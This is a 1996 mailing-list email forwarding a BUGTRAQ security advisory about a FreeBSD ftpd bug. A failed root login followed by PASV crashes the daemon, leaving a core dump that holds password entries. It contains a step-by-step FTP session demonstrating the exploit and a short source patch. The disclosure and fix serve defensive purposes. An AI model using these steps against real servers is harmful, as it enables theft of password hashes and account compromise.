From owner-freebsd-bugs Sun Mar 17 21:59:13 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA01281 for bugs-outgoing; Sun, 17 Mar 1996 21:59:13 -0800 (PST) Received: from mailserv.tversu.ac.ru (mailserv.tversu.ac.ru [193.233.128.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id VAA01258 for ; Sun, 17 Mar 1996 21:58:20 -0800 (PST) Received: (from vadim@localhost) by mailserv.tversu.ac.ru (8.6.12/8.6.12) id IAA08272 for bugs@freebsd.org; Mon, 18 Mar 1996 08:58:39 +0300 Date: Mon, 18 Mar 1996 08:58:39 +0300 From: Vadim Kolontsov Message-Id: <199603180558.IAA08272@mailserv.tversu.ac.ru> To: bugs@freebsd.org Subject: Bug in ftp-daemon Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello. Here is copy of my letter to BUGTRAQ mailing list. I hope, that this bug in ftpd will be fixed in 2.2-RELEASE... Best regards, Vadim. ----------------------------------------------------------------------------- Recently I found a bug (a new one, I think) in ftpd-daemon. See end of this letter for bugfix. Program: ftpd (FTP daemon) Affected Operating Systems: *BSD, Linux, Solaris, and so on Requirements: account on machine, core files must have mode 640 (at least) Security Compromise: Intruder can get some entries of your passwd file, even if you use shadow. Author: Vadim Kolontsov Synopsys: User can cause segmentation fault in ftpd, so ftpd.core will contain passwd entries. Demonstration: 1. Login to victim host | /usr/home/vadim> telnet localhost 21 | Trying 127.0.0.1... | Connected to localhost.on.the.net. | Escape character is '^]'. | 220- FreeBSD greets you! | 220 somewhere.on.the.net FTP server (Version 6.00) ready. 2. Login with real account (we want to change current directory) | user vadim | 331 Password required for vadim. | pass ********** | 230 User vadim logged in. 3. Check if we are in our homedir now | cwd | 250 CWD command successful. | pwd | 257 "/usr/home/vadim" is current directory. 4. Now we will try to login as user, we want to steal passwd entry for. For example, it will be root (let think that /etc/ftpusers doesn't have word "root" :) | user root | 331 Password required for root. | pass something | 530 Login incorrect. 5. Now we give command to switch ftpd to passive mode | pasv | Connection closed by foreign host. 6. Ooops! Now we have segmentation fault in ftpd and saved core dump (in our homedir). Let's check it... | /usr/home/vadim> ftp localhost | Connected to localhost.on.the.net. | 220- FreeBSD greets you! | 220 somewhere.on.the.net FTP server (Version 6.00) ready. | Name (localhost:vadim): vadim | 331 Password required for vadim. | Password: ********** | 230 User vadim logged in. | Remote system type is UNIX. | Using binary mode to transfer files. | ftp> pwd | 257 "/usr/vadim" is current directory. | ftp> ls ftpd* | 200 PORT command successful. | 150 Opening ASCII mode data connection for '/bin/ls'. | -rw------- 1 root wheel 331776 Dec 27 23:32 ftpd.core | 226 Transfer complete. | ftp> quit | 221 Goodbye. This ftpd.core actually contents passwd entry for root, and probably for other users. Now intruder can start Crack... Yes, in FreeBSD, core file has rw----- and root:wheel as owner, but on many other systems, it's not true; so intruder can get core file from host very easiely. The next question: why ftpd causes segmnentation fault? Let's see in FreeBSD's ftpd sources (the problem with other ftp-daemons it the same): /* ftpd.c */ void passive() { int len; u_short port; char *p, *a; pdata = socket(AF_INET, SOCK_STREAM, 0); if (pdata < 0) { perror_reply(425, "Can't open passive connection"); return; } if (restricted_data_ports) { for (port = FTP_DATA_BOTTOM; port <= FTP_DATA_TOP; port++) { pasv_addr = ctrl_addr; pasv_addr.sin_port = htons(port); (void) seteuid((uid_t)0); if (bind(pdata, (struct sockaddr *)&pasv_addr, sizeof(pasv_addr)) < 0) { /* !!!!!!!!! */ (void) seteuid((uid_t)pw->pw_uid); The answer is easy: when no one logged on FTP, 'pw' structure points to NULL, so pw->pw_uid causes segmentation fault. The solution is also very easy (if you have sources, certainly :). Simply add a following fragment before line with "pdata = socket(.." if (!pw) { reply(425, "Please login with USER and PASS"); return; } The problem in wu-ftpd can be solved in same way. I hope it will be useful. Best regards, Vadim. ---------------------------------------------------------------------------- Vadim Kolontsov Internet: vadim@tversu.ac.ru System Administrator / Programmer Fidonet: 2:5020/118.63 The Regional Center of New Information Technologies / Telecommunications Lab